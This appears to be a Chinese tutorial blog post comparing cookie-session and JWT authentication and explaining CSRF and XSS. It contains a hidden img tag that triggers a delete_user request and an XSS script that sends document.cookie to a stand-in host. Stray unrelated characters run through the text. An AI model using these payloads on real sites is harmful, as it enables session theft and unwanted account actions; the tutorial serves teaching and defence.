JWT與XSS/CSRF攻擊

web服務(wù)中,用戶輸入用戶名密碼登入之后仲器,后續(xù)訪問網(wǎng)站的其他功能就不用再輸入用戶名和密碼了。傳統(tǒng)的身份校驗機(jī)制為cookie-session機(jī)制:

cookie-session機(jī)制

  • 用戶瀏覽器訪問web網(wǎng)站仰冠,輸入用戶名密碼
  • 服務(wù)器校驗用戶名密碼通過之后乏冀,生成sessonid并把sessionid和用戶信息映射起來保存在服務(wù)器
  • 服務(wù)器將生成的sessionid返回給用戶瀏覽器,瀏覽器將sessionid存入cookie
  • 此后用戶對該網(wǎng)站發(fā)起的其他請求都將帶上cookie中保存的sessionid
  • 服務(wù)端把用戶傳過來的sessionid和保存在服務(wù)器的sessionid做對比洋只,如果服務(wù)器中有該sessionid則代表身份驗證成功

這種方式存在以下幾個問題:

  • 代碼安全機(jī)制不完善辆沦,可能存在CSRF漏洞
  • 服務(wù)端需要保存sessionid與客戶端傳來的sessionid做對比,當(dāng)服務(wù)器為集群多機(jī)的情況下识虚,需要復(fù)制sessionid肢扯,在多臺集群機(jī)器之間共享
  • 如果需要單點登入,則須將sessionid存入redis等外部存儲保證每臺機(jī)器每個系統(tǒng)都能訪問到担锤,如果外部存儲服務(wù)宕機(jī)蔚晨,則單點登入失效

CSRF攻擊

  • 用戶訪問A網(wǎng)站(http://www.aaa.com),輸入用戶名密碼
  • 服務(wù)器驗證通過肛循,生成sessionid并返回給客戶端存入cookie
  • 用戶在沒有退出或者沒有關(guān)閉A網(wǎng)站铭腕,cookie還未過期的情況下訪問惡意網(wǎng)站B
  • B網(wǎng)站返回含有如下代碼的html:
//假設(shè)A網(wǎng)站注銷用戶的url為:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>
  • 瀏覽器發(fā)起對A網(wǎng)站的請求,并帶上A網(wǎng)站的cookie育拨,注銷了用戶

JWT認(rèn)證方式

JWT全稱 Json Web Token谨履,是一個長字符串,由三部分組成:Header(頭部)熬丧、 Payload(負(fù)載)笋粟、Signature(簽名)怀挠,Header.Payload.Signature,用.分割各部分內(nèi)容害捕,看起來大概就像下面這樣:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA

生成過程如下:

const crypto = require("crypto");
const base64UrlEncode = require("base64url");
//頭部信息
var header = {
    "alg": "HS256", //簽名算法類型绿淋,默認(rèn)是 HMAC SHA256(寫成 HS256)
    "typ": "JWT" //令牌類型,JWT令牌統(tǒng)一為JWT
};
//負(fù)載信息,存儲用戶信息
var payload = {
    "sub": "1234567890",
    "name": "xiao jie",
    "admin": true
}
//服務(wù)器秘鑰尝盼,用于加密生成signature,不可泄漏
var secret = "chaojidamantou";
//header部分和payload部分
var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
//HMACSHA256加密算法
function HMACSHA256(message, secret) {
    return crypto.createHmac('sha256', secret).update(message).digest("hex");
}
//生成簽名信息
var signature = HMACSHA256(message, secret);
//header和payload部分內(nèi)容默認(rèn)不加密,也可以使用加密算法加密
var JWT = message + "." + base64UrlEncode(signature);
console.log(JWT);

驗證過程如下:

  • 用戶訪問網(wǎng)站吞滞,輸入賬號密碼登入
  • 服務(wù)器校驗通過,生成JWT盾沫,不保存JWT裁赠,直接返回給客戶端
  • 客戶端將JWT存入cookie或者localStorage
  • 此后用戶發(fā)起的請求,都將使用js從cookie或者localStorage讀取JWT放在http請求的header中赴精,發(fā)給服務(wù)端
  • 服務(wù)端獲取header中的JWT佩捞,用base64URL算法解碼各部分內(nèi)容,并在服務(wù)端用同樣的秘鑰和算法生成signature蕾哟,與傳過來的signature對比一忱,驗證JWT是否合法

使用JWT驗證,由于服務(wù)端不保存用戶信息谭确,不用做sessonid復(fù)制帘营,這樣集群水平擴(kuò)展就變得容易了。同時用戶發(fā)請求給服務(wù)端時逐哈,前端使用JS將JWT放在header中手動發(fā)送給服務(wù)端芬迄,服務(wù)端驗證header中的JWT字段,而非cookie信息鞠眉,這樣就避免了CSRF漏洞攻擊薯鼠。

不過,無論是cookie-session還是JWT械蹋,都存在被XSS攻擊盜取的風(fēng)險:

XSS攻擊

跨站腳本攻擊出皇,其基本原理同sql注入攻擊類似。頁面上用來輸入信息內(nèi)容的輸入框哗戈,被輸入了可執(zhí)行代碼郊艘。假如某論壇網(wǎng)站有以下輸入域用來輸入帖子內(nèi)容

發(fā)帖內(nèi)容:<textarea rows="3" cols="20"></textarea>

而惡意用戶在textarea發(fā)帖內(nèi)容中填入諸如以下的js腳本:

今天很開心,學(xué)會了JWT
<script>
$.ajax({
  type: "post",
  url: "https://www.abc.com/getcookie",
  data: {cookie : document.cookie}
});
</script>

那么當(dāng)其他用戶訪問該帖子的時候唯咬,用戶的cookie就會被發(fā)送到abc域名的服務(wù)器上了纱注。

為了避免xss攻擊,客戶端和服務(wù)端都應(yīng)該對提交數(shù)據(jù)進(jìn)行xss攻擊轉(zhuǎn)義胆胰。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末狞贱,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蜀涨,更是在濱河造成了極大的恐慌瞎嬉,老刑警劉巖蝎毡,帶你破解...
    沈念sama閱讀 212,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異氧枣,居然都是意外死亡沐兵,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,755評論 3 385
  • 文/潘曉璐 我一進(jìn)店門便监,熙熙樓的掌柜王于貴愁眉苦臉地迎上來扎谎,“玉大人,你說我怎么就攤上這事烧董』侔校” “怎么了?”我有些...
    開封第一講書人閱讀 158,369評論 0 348
  • 文/不壞的土叔 我叫張陵解藻,是天一觀的道長老充。 經(jīng)常有香客問我,道長螟左,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,799評論 1 285
  • 正文 為了忘掉前任觅够,我火速辦了婚禮胶背,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘喘先。我一直安慰自己钳吟,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 65,910評論 6 386
  • 文/花漫 我一把揭開白布窘拯。 她就那樣靜靜地躺著红且,像睡著了一般。 火紅的嫁衣襯著肌膚如雪涤姊。 梳的紋絲不亂的頭發(fā)上暇番,一...
    開封第一講書人閱讀 50,096評論 1 291
  • 那天,我揣著相機(jī)與錄音思喊,去河邊找鬼壁酬。 笑死,一個胖子當(dāng)著我的面吹牛恨课,可吹牛的內(nèi)容都是我干的舆乔。 我是一名探鬼主播,決...
    沈念sama閱讀 39,159評論 3 411
  • 文/蒼蘭香墨 我猛地睜開眼剂公,長吁一口氣:“原來是場噩夢啊……” “哼希俩!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起纲辽,我...
    開封第一講書人閱讀 37,917評論 0 268
  • 序言:老撾萬榮一對情侶失蹤颜武,失蹤者是張志新(化名)和其女友劉穎薄料,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體惯吕,經(jīng)...
    沈念sama閱讀 44,360評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡倒庵,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,673評論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了因块。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片橘原。...
    茶點故事閱讀 38,814評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖涡上,靈堂內(nèi)的尸體忽然破棺而出趾断,到底是詐尸還是另有隱情,我是刑警寧澤吩愧,帶...
    沈念sama閱讀 34,509評論 4 334
  • 正文 年R本政府宣布芋酌,位于F島的核電站,受9級特大地震影響雁佳,放射性物質(zhì)發(fā)生泄漏脐帝。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 40,156評論 3 317
  • 文/蒙蒙 一糖权、第九天 我趴在偏房一處隱蔽的房頂上張望堵腹。 院中可真熱鬧,春花似錦星澳、人聲如沸疚顷。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,882評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽腿堤。三九已至,卻和暖如春如暖,著一層夾襖步出監(jiān)牢的瞬間笆檀,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,123評論 1 267
  • 我被黑心中介騙來泰國打工装处, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留误债,地道東北人。 一個月前我還...
    沈念sama閱讀 46,641評論 2 362
  • 正文 我出身青樓妄迁,卻偏偏與公主長得像寝蹈,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子登淘,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,728評論 2 351

推薦閱讀更多精彩內(nèi)容